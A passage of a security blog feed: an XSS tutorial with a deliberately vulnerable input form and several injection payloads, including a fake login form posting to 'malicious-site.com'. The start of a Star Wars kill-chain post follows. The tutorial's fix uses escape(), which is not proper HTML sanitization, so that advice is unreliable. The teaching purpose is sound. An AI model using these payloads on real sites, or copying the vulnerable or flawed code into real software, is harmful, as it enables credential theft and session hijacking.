<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="setting-up-a-mock-input-field">Setting Up a Mock Input Field<a href="https://ant6581.gitlab.io/blog/xss-explained/#setting-up-a-mock-input-field" class="hash-link" aria-label="Direct link to Setting Up a Mock Input Field" title="Direct link to Setting Up a Mock Input Field" translate="no">​</a></h3>
<p>First, let's create a simple input field that could represent a user comment section on a website.</p>
<div class="playgroundContainer_XwyR"><div class="playgroundHeader_EIHj"><div class="playgroundHeaderContent_Kpsj">Live Editor</div><div class="playgroundHeaderButtons_kAaH"><button type="button" aria-label="Reset code to original" title="Reset" class="clean-btn resetButton_EgHb"><svg class="resetButtonIcon_yysN" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true"><path d="M8 3a5 5 0 1 0 4.546 2.914.5.5 0 0 1 .908-.417A6 6 0 1 1 8 2v1z"></path><path d="M8 4.466V.534a.25.25 0 0 1 .41-.192l2.36 1.966c.12.1.12.284 0 .384L8.41 4.658A.25.25 0 0 1 8 4.466z"></path></svg>Reset</button></div></div><div class="playgroundEditor_L2Ll"><pre class="prism-code language-tsx" style="margin:0;outline:none;padding:10px;font-family:inherit;color:#393A34;background-color:#f6f8fa" spellcheck="false"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">function</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">LiveExample</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#d73a49">displayUserInput</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> userInput </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token dom variable" style="color:#36acaa">document</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">getElementById</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'userInput'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access">value</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Vulnerable line: Directly setting innerHTML without sanitization</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token dom variable" style="color:#36acaa">document</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">getElementById</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'output'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access">innerHTML</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> userInput</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34">
</span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">div</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">input</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">type</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">text</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">id</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">userInput</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">placeholder</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">Enter text or HTML</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag punctuation" style="color:#393A34">/&gt;</span><span class="token plain-text"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">button</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">onClick</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#393A34">=</span><span class="token tag script language-javascript punctuation" style="color:#393A34">{</span><span class="token tag script language-javascript" style="color:#00009f">displayUserInput</span><span class="token tag script language-javascript punctuation" style="color:#393A34">}</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text">Display</span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag" style="color:#00009f">button</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">div</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">id</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">output</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag" style="color:#00009f">div</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag" style="color:#00009f">div</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span>
</span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span>
</span></pre></div><div class="playgroundHeader_EIHj"><div class="playgroundHeaderContent_Kpsj">Result</div></div><div class="playgroundPreview_bYPY"><div>Loading...</div></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>warning</div><div class="admonitionContent_BuS1"><p>This code is completely vulnerable to cross-site scripting (XSS) attacks due to a lack of input validation.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="injecting-a-harmless-script">Injecting a Harmless Script<a href="https://ant6581.gitlab.io/blog/xss-explained/#injecting-a-harmless-script" class="hash-link" aria-label="Direct link to Injecting a Harmless Script" title="Direct link to Injecting a Harmless Script" translate="no">​</a></h3>
<p>Now, try typing the following into the input field:</p>
<div class="language-html codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-html codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">img</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">invalid.jpg</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag special-attr attr-name" style="color:#00a4db">onerror</span><span class="token tag special-attr attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag special-attr attr-value punctuation" style="color:#393A34">"</span><span class="token tag special-attr attr-value value javascript language-javascript function" style="color:#d73a49">alert</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">(</span><span class="token tag special-attr attr-value value javascript language-javascript string" style="color:#e3116c">'XSS'</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">)</span><span class="token tag special-attr attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><br></div></code></pre></div></div>
<p>Congratulations, you just performed a Reflected XSS Attack.</p>
<p>When this script is executed, it attempts to load an image that does not exist (<code>invalid.jpg</code>). The failure to load the image triggers the <code>onerror</code> event, causing an alert box to appear. This behavior was not</p>
<p>When a website fails to sanitize user inputs, scripts like the one above are treated as legitimate HTML, executed by the browser.</p>
<p>This seemingly harmless script demonstrates the potential consequences of XSS vulnerabilities. In a real-world attack, the <code>alert</code> command could be replaced with malicious code that steals cookies, redirects users to phishing sites, or injects malware.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="more-xss-examples">More XSS Examples<a href="https://ant6581.gitlab.io/blog/xss-explained/#more-xss-examples" class="hash-link" aria-label="Direct link to More XSS Examples" title="Direct link to More XSS Examples" translate="no">​</a></h3>
<p>Let's try to inject more scripts into our web form.</p>
<p><strong>Redirection</strong>:</p>
<div class="language-html codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-html codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">img</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">invalid.jpg</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag special-attr attr-name" style="color:#00a4db">onerror</span><span class="token tag special-attr attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag special-attr attr-value punctuation" style="color:#393A34">"</span><span class="token tag special-attr attr-value value javascript language-javascript dom variable" style="color:#36acaa">window</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">.</span><span class="token tag special-attr attr-value value javascript language-javascript property-access" style="color:#e3116c">location</span><span class="token tag special-attr attr-value value javascript language-javascript operator" style="color:#393A34">=</span><span class="token tag special-attr attr-value value javascript language-javascript string" style="color:#e3116c">'https://www.google.com'</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">;</span><span class="token tag special-attr attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><br></div></code></pre></div></div>
<p>Instead of displaying an alert, this script executes <code>window.location='https://www.google.com';</code>, which redirects the user to Google's homepage.</p>
<p><strong>Document manipulation</strong>:</p>
<div class="language-html codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-html codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">img</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">invalid.jpg</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag special-attr attr-name" style="color:#00a4db">onerror</span><span class="token tag special-attr attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag special-attr attr-value punctuation" style="color:#393A34">"</span><span class="token tag special-attr attr-value value javascript language-javascript dom variable" style="color:#36acaa">document</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">.</span><span class="token tag special-attr attr-value value javascript language-javascript property-access" style="color:#e3116c">body</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">.</span><span class="token tag special-attr attr-value value javascript language-javascript property-access" style="color:#e3116c">innerHTML</span><span class="token tag special-attr attr-value value javascript language-javascript operator" style="color:#393A34">=</span><span class="token tag special-attr attr-value value javascript language-javascript string" style="color:#e3116c">'&lt;h1&gt;Your page has been compromised&lt;/h1&gt;'</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">;</span><span class="token tag special-attr attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><br></div></code></pre></div></div>
<p>This script modifies the whole content of the HTML document displayed.</p>
<p><strong>Cookie Theft</strong>:</p>
<div class="language-html codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-html codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">img</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">invalid.jpg</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag special-attr attr-name" style="color:#00a4db">onerror</span><span class="token tag special-attr attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag special-attr attr-value punctuation" style="color:#393A34">"</span><span class="token tag special-attr attr-value value javascript language-javascript function" style="color:#d73a49">alert</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">(</span><span class="token tag special-attr attr-value value javascript language-javascript string" style="color:#e3116c">'Cookies: '</span><span class="token tag special-attr attr-value value javascript language-javascript" style="color:#e3116c"> </span><span class="token tag special-attr attr-value value javascript language-javascript operator" style="color:#393A34">+</span><span class="token tag special-attr attr-value value javascript language-javascript" style="color:#e3116c"> </span><span class="token tag special-attr attr-value value javascript language-javascript dom variable" style="color:#36acaa">document</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">.</span><span class="token tag special-attr attr-value value javascript language-javascript property-access" style="color:#e3116c">cookie</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">)</span><span class="token tag special-attr attr-value value javascript language-javascript punctuation" style="color:#393A34">;</span><span class="token tag special-attr attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><br></div></code></pre></div></div>
<p>This one demonstates the potential for session hijacking by displaying the document's cookies. Real attacks might send these cookies to the attacker's server</p>
<p><strong>Phishing with Fake Forms</strong>:</p>
<div class="language-html codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-html codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">&lt;img src="invalid.jpg" onerror="document.body.innerHTML='&lt;form action=\"https://malicious-site.com\"&gt;&lt;input type=\"text\" placeholder=\"Username\"&gt;&lt;input type=\"password\" placeholder=\"Password\"&gt;&lt;button type=\"submit\"&gt;Login</span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag" style="color:#00009f">button</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag" style="color:#00009f">form</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain">';"&gt;</span><br></div></code></pre></div></div>
<p>This script replaces the webpage content with a fake login form, indicating how phishing attacks can be staged through XSS.</p>
<p>These examples merely illustrate the versatility of XSS attacks, as attackers can devise numerous other malicious scripts to exploit vulnerabilities and compromise user security.</p>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_BuS1"><p>According to the <strong>OWASP Top 10:2021</strong>, the category A03:2021-Injection, which includes Cross-site Scripting attacks, rank third among the most critical web application security risks. Consequently, prioritizing XSS prevention strategies in your applications is highly recommended.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="preventing-xss-attacks-a-multi-layered-approach">Preventing XSS Attacks: A Multi-Layered Approach<a href="https://ant6581.gitlab.io/blog/xss-explained/#preventing-xss-attacks-a-multi-layered-approach" class="hash-link" aria-label="Direct link to Preventing XSS Attacks: A Multi-Layered Approach" title="Direct link to Preventing XSS Attacks: A Multi-Layered Approach" translate="no">​</a></h2>
<p>Preventing XSS attacks requires a multi-layered approach that encompasses both server-side and client-side security measures. Here are some key strategies:</p>
<ol>
<li class=""><strong>Input Validation and Sanitization</strong>: Validate and sanitize all user inputs to remove harmful code. Use regular expressions, whitelists, and escaping mechanisms to accept only valid input.</li>
<li class=""><strong>Output Encoding</strong>: Encode outputs to treat user input as data, not executable code. Use functions to encode HTML, JavaScript, CSS, and URL inputs.</li>
<li class=""><strong>Content Security Policy (CSP)</strong>: Use CSP to restrict which scripts can run on your page. Specify allowed sources for scripts, images, and other content.</li>
<li class=""><strong>Set HttpOnly and Secure Flags</strong>: Use the HttpOnly flag to prevent JavaScript from accessing cookies. Set the Secure flag to ensure cookies are sent only over HTTPS.</li>
<li class=""><strong>Double Submit Cookies</strong>: Send CSRF tokens both as cookies and request parameters. Validate tokens on the server to ensure request authenticity.</li>
<li class=""><strong>Referer and Origin Header Validation</strong>: Check the Referer and Origin headers to ensure requests come from the expected origin.</li>
<li class=""><strong>Regular Security Testing</strong>: Conduct automated and manual security tests to find and fix XSS vulnerabilities before they are exploited.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="solution">Solution<a href="https://ant6581.gitlab.io/blog/xss-explained/#solution" class="hash-link" aria-label="Direct link to Solution" title="Direct link to Solution" translate="no">​</a></h2>
<p>Getting back to the form we exploited previously, in order to eliminate the XSS vulnerability we need to add sanitization for the user input validation.</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#d73a49">LiveExample</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#d73a49">displayUserInput</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> userInput </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token dom variable" style="color:#36acaa">document</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">getElementById</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'userInput'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access">value</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Sanitize user input to prevent XSS attacks </span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> sanitizedUserInput </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">escape</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">userInput</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Set the sanitized input to the output element </span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token dom variable" style="color:#36acaa">document</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">getElementById</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'output'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access">innerHTML</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> sanitizedUserInput</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">div</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">input type</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"text"</span><span class="token plain"> id</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"userInput"</span><span class="token plain"> placeholder</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"Enter text or HTML"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">/</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">button onClick</span><span class="token operator" style="color:#393A34">=</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">displayUserInput</span><span class="token punctuation" style="color:#393A34">}</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token maybe-class-name">Display</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">button</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain">div id</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"output"</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token operator" style="color:#393A34">&lt;</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">div</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">div</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div></code></pre></div></div>
<p>Try copying this code to the previous code box and test if you can still inject the code with your script.</p>]]></content>
        <category label="xss" term="xss"/>
        <category label="vulnerability" term="vulnerability"/>
        <category label="owasp" term="owasp"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Star Wars through Cyber Kill Chain]]></title>
        <id>https://ant6581.gitlab.io/blog/cyber-star-wars/</id>
        <link href="https://ant6581.gitlab.io/blog/cyber-star-wars/"/>
        <updated>2023-11-12T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[May the Cyber Force be With You!]]></summary>
        <content type="html"><![CDATA[<p><strong>Welcome to Cyer4nt!</strong>
This is the second post in a series about interview-related questions for Cyber Security Engineers. Today, I'm sharing a fun task I did during an interview with a well-known (and amazing) media organization.
The task presents an entertaining approach: analyzing Star Wars: Episode IV A New Hope movie through the lens of the Kill Chain Model.
May the Cyber Force be with you!</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-task">The Task:<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#the-task" class="hash-link" aria-label="Direct link to The Task:" title="Direct link to The Task:" translate="no">​</a></h3>
<p><em>You are an Imperial Security Analyst in charge of providing computer security for the DS-2 Orbital Battle Station (or Death Star). Provide a step-by-step kill chain use case according to your research from the first Death Star destruction.</em></p>
<p>Hope you enjoy it!</p>
<h1><em>Galactic Empire Incident Report</em></h1>
<table><thead><tr><th>Field</th><th>Value</th></tr></thead><tbody><tr><td>Date:</td><td>E%e/%f</td></tr><tr><td>Victim:</td><td>Galactic Empire</td></tr><tr><td>Adversary:</td><td>Rebel Group (aka APT-303)</td></tr><tr><td>Report Prepared by:</td><td>Imperial Security Analyst of The Galactic Empire</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="executive-summary">Executive Summary<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#executive-summary" class="hash-link" aria-label="Direct link to Executive Summary" title="Direct link to Executive Summary" translate="no">​</a></h2>
<p>A 0-day critical vulnerability (later rated CVSS 9.7) was exploited on one of the biggest Empire's stations called The Death Star. This led to its total destruction. Luke Skywalker with the assistance of other adversaries known as the Rebel Group (also reffered to as APT-303), was able to fire proton torpedoes into the exhaust port, triggering a catastrophic chain reaction that obliterated the Death Star. This incident inflicted severe losses on the Galactic Empire, including the loss of their most formidable weapon, significantly contributing to their eventual downfall.
To shed light on the case, we have analyzed the attack using the Cyber Kill Chain model.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-reconnaissance">1. Reconnaissance<a href="https://ant6581.gitlab.io/blog/cyber-star-wars/#1-reconnaissance" class="hash-link" aria-label="Direct link to 1. Reconnaissance" title="Direct link to 1. Reconnaissance" translate="no">​</a></h3>
<p>In this phase the adversaries gather information about the target's vulnerabilities.</p>
<p>The Rebel Group identified a critical design flaw in the DS-1. The technical plan of the DS-1 was obtained by Princess Leia, an insider who worked for APT-303.
The act of stealing data is a hostile action that can be described within the framework of the Kill Chain. However, in this report, we examine the incident in a broader context.
<img decoding="async" loading="lazy" alt="Leia" src="https://ant6581.gitlab.io/assets/images/Leia_stealing_data-e92a834e9d1e10edc798cd93d5db79a6.jpg" width="2880" height="1206" class="img_ev3q">
